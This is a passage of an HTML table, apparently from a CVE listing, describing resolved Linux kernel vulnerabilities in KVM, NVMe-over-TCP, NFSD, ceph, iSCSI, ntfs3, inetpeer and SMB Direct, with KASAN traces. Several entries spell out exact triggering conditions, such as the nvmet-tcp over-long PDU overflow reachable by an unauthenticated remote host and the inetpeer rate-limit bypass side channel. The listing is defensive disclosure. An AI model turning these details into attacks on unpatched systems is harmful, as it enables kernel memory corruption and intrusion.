caller-locked. Both run in process context, so spin_lock_irqsave() is used and nothing in the locked region sleeps.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89857&quot; target=&quot;_blank&quot;&gt;CVE-2026-89857&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: Sign-extend VA for range-based TLBI invalidation When the decode_range_tlbi() helper was moved to be used for S1 TLBIs, the required sign extension was omitted. Add it. As a result, special care must be taken to not overflow PA bits when this is used for S2 invalidation.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89914&quot; target=&quot;_blank&quot;&gt;CVE-2026-89914&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: Remove VM-wide VNCR mapping counter The global VNCR mapping counter is used to decide whether an L1 provided VNCR page is mapped in L0 on any CPU at the point of dealing with a TLB invalidation. It is incremented when a mapping is made in the fixmap, and decremented when unmapped. As it turns out, this tracking has several flaws: - we are trying to invalidate TLBs, and the mapping is only an opportunistic consequence of the TLB. Checking this counter to decide whether a TLB needs to be invalidated may result in missed invalidations. - an L1 vcpu invalidating its own TLB (a very likely case) will not succeed in invalidating the VNCR pseudo TLB because that page is not mapped in L0 at this stage. Given that this tracking fails at delivering the minimum guarantees that are required and is only a performance optimisation, remove it completely.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89915&quot; target=&quot;_blank&quot;&gt;CVE-2026-89915&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: Make VNCR invalidation participate in MMU invalidation retry A VNCR TLB invalidation can occur on one vcpu while another vcpu is faulting in this same page. Without correctly handling this, we can end up with the following scenario: - vcpu A walks the PTs to translate VNCR - before vcpu A is able to grab the MMU lock to insert the TLB, vcpu B updates the S1 PTs with an invalid entry, and issues a TLBI S1E2 for this VA - vcpu A inserts the TLB for something that is now invalid This isn&#039;t a new problem, and we manage S2 by having the MMU notifier to bump up mmu_invalidate_seq on invalidation so that the fault can be replayed. We can perform something similar here, and extend invalidate_vncr_va() to update the same counter, clearly indicating that the context has changed under our feet. This is safe as the invalidation always happen while holding the MMU lock for write, and that we sample the sequence number before walking S1.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89916&quot; target=&quot;_blank&quot;&gt;CVE-2026-89916&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: Correctly handle end of VA space TLBI invalidation Our TLB invalidation by VA code is based on comparing two ranges, one defined by the TLB, and one defined by the TLBI instruction. Each range is defined by a start and a size. However, the way the comparison is done doesn&#039;t account for address rollover, as it compares an address with (base + size). This works nicely until this expression represent the last page/block in the TTBR1 VA space, as the result is a big fat 0. And a failed TLB invalidation. Rewrite the comparison in a way that is immune to the address rollover (making the end address inclusive instead of exclusive), and move this into a common helper that is used by both VA and IPA invalidations, as suggested by Hyunwoo Kim (although the IPA version didn&#039;t suffer from this particular problem, obviously).&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89918&quot; target=&quot;_blank&quot;&gt;CVE-2026-89918&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: nVMX: Service local TLB flushes on failed nested VM-Enter KVM services local TLB flushes on &quot;full&quot; nested VM-Exits (through __nested_vmx_vmexit()), but not if a nested VM-Enter fails (e.g. due to failed VMCS checks in nested_vmx_enter_non_root_mode()). However, it is possible that KVM had queued TLB flushes that need to be performed, even if the nested VM-Enter was not successful. For example, if VPID is disabled for L2 (via nested_vmx_transition_tlb_flush(), or if via the MSR load lists, as the SDM says: If any MSR is being loaded in such a way that would architecturally require a TLB flush, the TLBs are updated so that, after VM entry, the logical processor will not use any translations that were cached before the transition. The SDM is unclear about when the TLB flush should occur, and whether or not a failed VM entry would flush the TLB, so it is safer to always do the TLB flush in this case. More concretely, KVM also updates the last VPID L1 used for L2 in nested_vmx_transition_tlb_flush() (i.e. last_vpid), even if the VM entry ultimately fails. With the current code, KVM could miss a TLB flush if L1 changes L2&#039;s VPID, then does a failed VM entry followed by a successful one, as the failed VM entry would update last_vpid but not actually flush the TLB. Servicing local TLB flushes on failed VM entries makes sure that the TLB is always flushed when last_vpid is updated.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89930&quot; target=&quot;_blank&quot;&gt;CVE-2026-89930&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvmet-tcp: fix out-of-bounds write when receiving an over-long PDU nvmet_tcp_try_recv_pdu() reads a PDU header into the fixed 128-byte queue-&amp;gt;pdu union, then computes the remaining payload length as queue-&amp;gt;left = hdr-&amp;gt;hlen - queue-&amp;gt;offset + hdgst; and reads that many more bytes into &amp;amp;queue-&amp;gt;pdu + queue-&amp;gt;offset, without ever bounding the result against sizeof(queue-&amp;gt;pdu). A struct nvme_tcp_icreq_pdu is itself 128 bytes, exactly the size of the union. Once a header digest has been negotiated (hdgst = 4), a second ICReq passes the hlen == nvmet_tcp_pdu_size() check but yields queue-&amp;gt;left = 128 - 8 + 4 = 124, so bytes 8..132 are written into the 128-byte buffer -- 4 bytes past its end, over queue-&amp;gt;hdr_digest and queue-&amp;gt;data_digest. Those bytes are attacker-controlled (an ICReq carries no digest), and the duplicate ICReq is only rejected later, after the overflow. A remote unauthenticated host can thus corrupt kernel memory adjacent to the receive buffer. Reject any PDU whose declared length would read past the end of queue-&amp;gt;pdu before the second recv.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89969&quot; target=&quot;_blank&quot;&gt;CVE-2026-89969&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvmet-auth: Synchronize timeout work during SQ teardown nvmet_auth_sq_free() cancels auth_expired_work with cancel_delayed_work(). If the work has already started, cancellation does not wait for the callback. Transport teardown can consequently free or reuse the queue containing struct nvmet_sq while nvmet_auth_expired_work() still accesses that SQ. Add a teardown-specific helper that synchronously drains the delayed work before freeing authentication state, and use it from nvmet_sq_destroy(). Keep the non-synchronous helper for in-band authentication state cleanup, where the SQ owner remains alive.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89970&quot; target=&quot;_blank&quot;&gt;CVE-2026-89970&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvme: add missing SRCU grace period in error path nvme_alloc_ns() error path at out_unlink_ns removes ns from the namespace head siblings list with list_del_rcu(&amp;amp;ns-&amp;gt;siblings) but does not wait for SRCU readers before freeing the namespace struct. Multipath code iterates the head-&amp;gt;list under srcu_read_lock() in nvme_find_path() and nvme_mpath_revalidate_paths(), so a concurrent reader can still hold a reference to ns when kfree(ns) runs. The normal removal path in nvme_ns_remove() correctly calls synchronize_srcu(&amp;amp;ns-&amp;gt;head-&amp;gt;srcu) after list_del_rcu() to wait for in-progress readers. Add the same grace period in the error path.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89972&quot; target=&quot;_blank&quot;&gt;CVE-2026-89972&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ceph: lock mutex in ceph_mds_check_access() MDS session OPEN handling replaces mdsc-&amp;gt;s_cap_auths under mdsc-&amp;gt;mutex, freeing the previous array and its strings. ceph_mds_check_access() traverses this array without holding the mutex. A concurrent session reopen can therefore free the array while it is being inspected, resulting in a use-after-free like this: Unable to handle kernel paging request at virtual address 003aaad64b2c8bb9 [...] Internal error: Oops: 0000000096000004 [#1] SMP Modules linked in: CPU: 56 UID: 2953037534 PID: 1253231 Comm: php-cgi8.4 Not tainted 6.18.45-i2-ampere #1146 NONE [..] pc : ceph_mds_check_access+0xd4/0x550 lr : ceph_mds_check_access+0xc8/0x550 [...] Call trace: ceph_mds_check_access+0xd4/0x550 (P) ceph_atomic_open+0x138/0xbe8 path_openat+0xa24/0xfa8 do_filp_open+0x94/0x158 do_sys_openat2+0x88/0xf8&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89990&quot; target=&quot;_blank&quot;&gt;CVE-2026-89990&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: target: iscsi: Reserve a terminator byte for the login payload iscsi_target_check_login_request() rejects a login PDU whose DataSegmentLength exceeds MAX_KEY_VALUE_PAIRS, but the test is &#039;&amp;gt;&#039; and login-&amp;gt;req_buf is allocated with exactly MAX_KEY_VALUE_PAIRS bytes. Since iscsit_get_login_rx() receives payload_length + padding bytes, where padding = ((-payload_length) &amp;amp; 3); any payload_length from 8189 to 8192 fills the whole 8192 byte buffer. The write stays in bounds, but no byte is left for a NUL terminator. The buffer is subsequently consumed as a C string. In the CHAP path chap_check_algorithm() calls kstrdup(a_str), and extract_param() calls strstr(in_buf, pattern) followed by strlen_semi(), none of which take a length. convert_null_to_semi() additionally rewrites every embedded NUL to &#039;;&#039;, so even a payload made of well formed NUL separated key=value records is left without a terminator. These walk past the end of the object into adjacent slab memory. It is reachable by an unauthenticated initiator against a portal configured for CHAP; when authentication is not required iscsi_login_zero_tsih_s2() rewrites AuthMethod to None and the CHAP path is never entered. Allocate one extra byte. kzalloc() zeroes it and nothing ever writes to it, as every writer copies to offset 0 for at most MAX_KEY_VALUE_PAIRS bytes, so the buffer is always terminated.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90011&quot; target=&quot;_blank&quot;&gt;CVE-2026-90011&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: spi: Fix DMA mapping ownership on partial map failure If RX mapping fails after TX mapping succeeds, __spi_map_msg() unmaps TX but leaves tx_sg_mapped set. If TX mapping fails on a later transfer, mappings created for earlier transfers remain active. In both cases, cur_{tx,rx}_dma_dev have not yet been updated because they are assigned only after every transfer has been mapped. The subsequent spi_unmap_msg() may therefore unmap the TX mapping again or release earlier mappings using a NULL or stale device. Using a NULL device can trigger an oops. An empty SG table does not prevent the NULL dereference because dma_unmap_sg_attrs() accesses the device before checking the entry count. Publish both mapping devices before mapping starts and unwind all failures through __spi_unmap_msg(). This clears the mapping flags and releases each mapping once with the device that created it. Publishing the devices before the loop also refreshes them when no transfer needs mapping. No mapping flag is set in that case, so current users do not use the pointers as mapping owners.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90012&quot; target=&quot;_blank&quot;&gt;CVE-2026-90012&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: NFSD: Prevent client use-after-free during blocked-lock reaping A bare lock owner -- its only remaining reference a blocked lock on nn-&amp;gt;blocked_locks_lru -- holds a raw pointer to its nfs4_client but no reference keeping the client alive. When the per-net laundromat reaps such a lock, freeing the nbl drops the owner reference held through flc_owner, and the final nfs4_put_stateowner() takes the client&#039;s cl_lock. Because the laundromat detaches the nbl first, __destroy_client() no longer finds it, so a concurrent force_expire_client() can free the client before nfs4_put_stateowner() runs, dereferencing cl_lock in freed memory. Pin the client with cl_rpc_users before dropping nn-&amp;gt;blocked_locks_lock, and skip clients already expiring, whose blocked locks __destroy_client() frees while holding an owner reference. Take nn-&amp;gt;client_lock outside nn-&amp;gt;blocked_locks_lock. Every other site holds nn-&amp;gt;blocked_locks_lock as a leaf, acquiring no further lock, so placing nn-&amp;gt;client_lock outside it cannot form a lock-order cycle.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90036&quot; target=&quot;_blank&quot;&gt;CVE-2026-90036&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: NFSD: Prevent client use-after-free during close_lru reaping An nfs4_openowner left on nn-&amp;gt;close_lru after its final CLOSE keeps its last closed stateid in oo_last_closed_stid, holding only a raw pointer to its nfs4_client. The laundromat reaps timed-out entries, drops nn-&amp;gt;client_lock, and calls nfs4_put_stid(), which dereferences the client through cl_lock. Nothing pins the client across that window, so a concurrent force_expire_client() can free it and nfs4_put_stid() reads freed memory. __destroy_client() hits the same race, walking clp-&amp;gt;cl_openowners without cl_lock. Pin the client with cl_rpc_users before dropping client_lock, and skip clients already expiring. __destroy_client() then cleans up its own close_lru entries through release_last_closed_stateid(), so teardown no longer races the laundromat.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90037&quot; target=&quot;_blank&quot;&gt;CVE-2026-90037&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: NFSD: Prevent client use-after-free during export state revocation nfsd4_revoke_export_states() has the same use-after-free as nfsd4_revoke_states(): it drops nn-&amp;gt;client_lock across revoke_one_stid() and the following read of clp-&amp;gt;cl_minorversion, but the stateid reference it holds does not pin the client. A teardown racing the dropped lock can free the client while revoke_one_stid() still dereferences it. exportfs -u drives this path through NFSD_CMD_UNLOCK_EXPORT, so an administrator removing an export can race a client expiry. Skip a client that is already expiring and otherwise pin it with cl_rpc_users under client_lock before dropping the lock, matching nfsd4_revoke_states().&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90038&quot; target=&quot;_blank&quot;&gt;CVE-2026-90038&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ceph: properly decrypt filenames in vmalloc() buffers The fscrypt subsystem uses the scatterlist crypto API, inheriting its requirement that any buffers are in the linear mapping region. However, the messenger client uses kvmalloc() to create buffers for messages, which will occasionally place those buffers in the vmalloc() region when physical memory fragmentation doesn&#039;t permit a large enough kmalloc(). The various callers of ceph_fname_to_usr() directly pass (slices of) raw messages from the MDS without considering that the messages may be in vmalloc() buffers, resulting in oopses especially on non-x86 platforms (see &#039;Closes:&#039; for more details and a reproducer). Make ceph_fname_to_usr() explicitly tolerant of vmalloc()-allocated fname-&amp;gt;ctext, fname-&amp;gt;name, and/or oname-&amp;gt;name buffers, using `tname` (which, when non-null, must be a linear address; when null, is briefly allocated as necessary) as a bounce buffer to avoid passing any inappropriate addresses to fscrypt_fname_disk_to_usr(). Additionally change parse_reply_info_readdir() -- the only function to supply its own `tname` -- to follow the new &quot;tname must never come from vmalloc()&quot; rule by passing NULL when the message is not in the linear region. Though this causes a per-dentry kmalloc()+kfree(), this overhead exists only when processing the minority of messages that spill into vmalloc(). My (crude) testing puts this at only about 1 in 8,000 readdir messages. Still, if the overhead proves unreasonable in the future, it is easy enough to mitigate: a future change could allocate a bounce buffer in parse_reply_info_readdir() and use that as `tname` instead.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90042&quot; target=&quot;_blank&quot;&gt;CVE-2026-90042&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: fix slab-out-of-bounds write in ni_create_attr_list() ni_create_attr_list() allocates a fixed buffer of al_aligned(record_size) (== record_size) bytes and then walks every attribute of the primary MFT record, writing one ATTR_LIST_ENTRY per attribute and advancing the cursor by le_size(name_len), with no check against the end of the buffer; the total size is only computed after the loop. A minimum-size resident attribute occupies SIZEOF_RESIDENT (0x18 = 24) bytes on disk, but an unnamed attribute expands to le_size(0) (0x20 = 32) bytes in the list. Because the number of attributes in a record is not bounded (mi_enum_attr() accepts arbitrarily many equal-type, nameless minimum-size attributes), a crafted record packed with such attributes produces a list larger than record_size and overflows the heap buffer. This is reachable from a crafted, loop-mounted NTFS image: opening the file and adding an attribute (e.g. via setxattr) drives ntfs_set_ea() -&amp;gt; ni_insert_resident() -&amp;gt; ni_insert_attr() -&amp;gt; ni_ins_attr_ext() -&amp;gt; ni_create_attr_list(). BUG: KASAN: slab-out-of-bounds in ni_create_attr_list+0xc48/0x1058 Write of size 4 at addr ffff000008984c00 by task setfattr/345 ni_create_attr_list+0xc48/0x1058 ni_ins_attr_ext+0x510/0x7c0 ni_insert_attr+0x3f8/0x70c ni_insert_resident+0xc8/0x3b0 ntfs_set_ea+0x66c/0xd28 ntfs_setxattr+0x4d8/0x5b0 __arm64_sys_setxattr+0xa4/0x124 Allocated by task 345: ni_create_attr_list+0x188/0x1058 The buggy address belongs to the cache kmalloc-1k of size 1024 (the write lands at object+1024). Size the buffer from the actual attributes instead of assuming a single record_size is always enough.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90048&quot; target=&quot;_blank&quot;&gt;CVE-2026-90048&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: skbuff: don&#039;t skb_tx_error() the source skb in skb_zerocopy() skb_zerocopy() copies frags from @from into @to. On an skb_orphan_frags() failure it calls skb_tx_error(@from), a destructive operation on the source skb the copy helper does not own. That completes @from&#039;s zerocopy uarg and clears SKBFL_ALL_ZEROCOPY, including the SKBFL_SHARED_FRAG page-ownership marker. Both callers already report the failure on their own drop path. nfnetlink_queue does it at nla_put_failure, and Open vSwitch does it in the flow-miss drop arm of ovs_dp_process_packet(), so nothing is lost by dropping it here. On Open vSwitch&#039;s OVS_ACTION_ATTR_USERSPACE path the skb is not freed on this error: do_execute_actions() ignores output_userspace()&#039;s return value and, unless the upcall was the last action, keeps forwarding the same skb through the flow&#039;s remaining actions. The uarg is completed while that skb is still in flight, telling the producer its buffers are free, and SKBFL_SHARED_FRAG is cleared on an skb the rest of the stack still handles. That flag is what makes esp_input() call skb_cow_data() instead of decrypting in place, so a later local ESP delivery can decrypt over frags the skb does not own privately. Leave error reporting to the callers.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90049&quot; target=&quot;_blank&quot;&gt;CVE-2026-90049&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: NFSv4.1: zero referring call lists before decoding decode_cb_sequence_args() allocates csa_rclists with kmalloc_objs(), so each referring_call_list starts uninitialized. decode_rc_list() assigns rcl_refcalls only when rcl_nrefcalls is nonzero. A valid list with zero referring calls therefore leaves the pointer uninitialized, and nfs4_callback_sequence() later passes stale slab contents to kfree(). Allocate csa_rclists with kzalloc_objs() so every rcl_refcalls member is NULL from the beginning, including valid empty referring call lists.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90104&quot; target=&quot;_blank&quot;&gt;CVE-2026-90104&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: inetpeer: randomize RB-tree node comparison using SipHash The inetpeer rate limiting system stores peer entries in a Red-Black tree keyed deterministically on the remote IP address. Because tree lookups walk the RB-tree using standard lexicographical comparisons (inetpeer_addr_cmp), an off-path adversary can predict the exact topology of the tree and the sequence of nodes traversed during lookups (the gc_stack candidate list). By combining deterministic tree traversal with aggressive garbage collection (triggered when tree size exceeds inet_peer_threshold), an attacker can selectively force the eviction of targeted inet_peer nodes. When an evicted node is subsequently re-created upon receiving a new packet, its rate-limiting token bucket (rate_tokens, rate_last) is reset to full capacity. This creates a side-channel primitive allowing off-path attackers to bypass IP-keyed ICMP rate limits and infer open UDP ports (similar to SAD DNS style attacks). Mitigate this by randomizing the RB-tree node comparison logic using SipHash with a secret key (inetpeer_hash_key) initialized via net_get_random_once(). Nodes are ordered in the tree by SipHash(addr, key) rather than raw IP addresses. Because the secret key is unknown to external entities, the tree layout and lookup traversal paths are unpredictable to off-path adversaries, breaking the deterministic eviction gadget. Cache the computed 64-bit SipHash (hash) in struct inet_peer and compute the target hash (dhash) once at the beginning of inet_getpeer() to avoid recomputing SipHash at every step of the RB-tree walk.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90110&quot; target=&quot;_blank&quot;&gt;CVE-2026-90110&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: NFSv4: remove callback IDR entry on client allocation failure nfs4_alloc_client() allocates an NFSv4.0 callback identifier before it finishes setting up the client. If any later initialization step fails, the error path frees the nfs_client directly with nfs_free_client(). That bypasses nfs_put_client(), which is where the callback IDR entry is removed during normal teardown. A failed allocation can therefore leave cb_ident_idr pointing at a freed nfs_client. A later NFSv4.0 callback lookup by cb_ident would find the stale pointer and take a reference to it. Make the callback IDR removal helper callable by the allocation failure path, and remove the callback identifier before freeing the client. This was found by a local static-analysis checker for publish-before-free lifetime bugs and confirmed by manual inspection.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90151&quot; target=&quot;_blank&quot;&gt;CVE-2026-90151&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: smbdirect: free completion queues with ib_free_cq() smbdirect_connection_destroy_qp() creates the send and receive completion queues with ib_alloc_cq_any(), which for IB_POLL_WORKQUEUE arms an internal completion handler that runs ib_cq_poll_work() on a workqueue. Tearing those CQs down with ib_destroy_cq() frees them without first cancelling that poll work. If the provider posts a completion late -- for example Soft-RoCE (rxe) posting an RNR error from rxe_receiver() after rdma_destroy_qp() -- the handler re-queues ib_cq_poll_work() on the already-freed CQ, and a follow-on access faults in rxe_req_notify_cq(). Use ib_free_cq(), which cancel_work_sync()es the poll work before freeing the CQ, so no completion handler can run against a freed queue. [ 1236.599526] ================================================================== [ 1236.602142] BUG: KASAN: slab-use-after-free in ib_cq_poll_work+0xd0/0x1a0 [ 1236.605524] Read of size 8 at addr ffff888111865800 by task kworker/4:1H/82 [ 1236.609017] [ 1236.609270] CPU: 4 UID: 0 PID: 82 Comm: kworker/4:1H Not tainted 7.2.0-rc3-next-20260717-virtme #110 PREEMPT(lazy) [ 1236.609287] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1 04/01/2014 [ 1236.609498] Workqueue: ib-comp-wq ib_cq_poll_work [ 1236.609525] Call Trace: [ 1236.609536] &amp;lt;TASK&amp;gt; [ 1236.609545] __dump_stack+0x21/0x60 [ 1236.609562] dump_stack_lvl+0xc2/0x100 [ 1236.609573] print_address_description+0x77/0x200 [ 1236.609587] ? ib_cq_poll_work+0xd0/0x1a0 [ 1236.609597] print_report+0x58/0x70 [ 1236.609607] kasan_report+0x117/0x150 [ 1236.609623] ? ib_cq_poll_work+0xd0/0x1a0 [ 1236.609636] ? process_scheduled_works+0x954/0x1600 [ 1236.609650] ib_cq_poll_work+0xd0/0x1a0 [ 1236.609662] ? process_scheduled_works+0x954/0x1600 [ 1236.609674] process_scheduled_works+0xc22/0x1600 [ 1236.609698] ? __pfx_process_scheduled_works+0x10/0x10 [ 1236.609713] ? __pfx_assign_work+0x10/0x10 [ 1236.609726] ? lock_is_held_type+0x7b/0x110 [ 1236.609741] worker_thread+0x975/0xee0 [ 1236.609757] ? __pfx_do_raw_spin_lock+0x10/0x10 [ 1236.609775] ? __kthread_parkme+0x21e/0x260 [ 1236.609789] kthread+0x3a6/0x490 [ 1236.609800] ? __pfx_worker_thread+0x10/0x10 [ 1236.609809] ? __pfx_kthread+0x10/0x10 [ 1236.609820] ret_from_fork+0x55a/0xa20 [ 1236.609835] ? __pfx_ret_from_fork+0x10/0x10 [ 1236.609850] ? __pfx_kthread+0x10/0x10 [ 1236.609861] ret_from_fork_asm+0x1a/0x30 [ 1236.609880] &amp;lt;/TASK&amp;gt; [ 1236.609886] [ 1236.661292] Allocated by task 5076: [ 1236.662640] kasan_save_track+0x3e/0x80 [ 1236.663842] __kasan_kmalloc+0x72/0x90 [ 1236.664763] __kmalloc_noprof+0x2b0/0x5d0 [ 1236.665356] __ib_alloc_cq+0x284/0x1000 [ 1236.666573] __ib_alloc_cq_any+0x23e/0x340 [ 1236.668654] smbdirect_connection_create_qp+0x6f7/0x1070 [ 1236.669757] smbdirect_accept_connect_request+0x500/0x1ca0 [ 1236.672625] smbdirect_listen_rdma_event_handler+0x1655/0x1c50 [ 1236.673930] cma_listen_handler+0x1bf/0x260 [ 1236.674923] cma_cm_event_handler+0x128/0x380 [ 1236.676926] cma_ib_req_handler+0x2d3d/0x4de0 [ 1236.678368] cm_process_work+0xb0/0x530 [ 